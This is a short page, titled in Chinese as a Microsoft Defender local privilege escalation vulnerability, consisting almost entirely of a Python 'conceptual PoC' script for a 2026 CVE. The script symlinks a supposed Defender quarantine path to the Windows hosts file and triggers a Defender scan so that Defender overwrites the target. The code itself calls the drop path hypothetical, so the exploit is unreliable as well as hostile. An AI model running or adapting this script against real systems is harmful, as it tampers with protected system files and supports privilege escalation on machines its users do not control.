CVE-2026-41091 Microsoft Defender 本地提权漏洞

# This is a conceptual PoC for CVE-2026-41091 # It demonstrates how an attacker might create a symlink to exploit the vulnerability. import os import subprocess # Target system file to overwrite (e.g., a system config or DLL) target_file = r"C:\Windows\System32\drivers\etc\hosts" # Path that Microsoft Defender is expected to write to (hypothetical) defender_drop_path = r"C:\Temp\DefenderQuarantine\malicious_file.tmp" print(f"[*] Creating symlink from {defender_drop_path} to {target_file}") # Create a directory junction or symlink (requires Developer Mode or Admin rights usually, # but specific exploit scenarios might leverage existing permissions) try: os.remove(defender_drop_path) if os.path.exists(defender_drop_path) else None os.symlink(target_file, defender_drop_path) print("[+] Symlink created successfully.") except Exception as e: print(f"[-] Failed to create symlink: {e}") exit(1) # Trigger Microsoft Defender to scan the path print("[*] Triggering Microsoft Defender scan on the symlinked path...") subprocess.run(["powershell", "-Command", f"Start-MpScan -ScanPath {defender_drop_path} -ScanType CustomScan"]) print("[*] Waiting for Defender to process the file...") print("[*] If exploited, Defender may have written data to the target file.")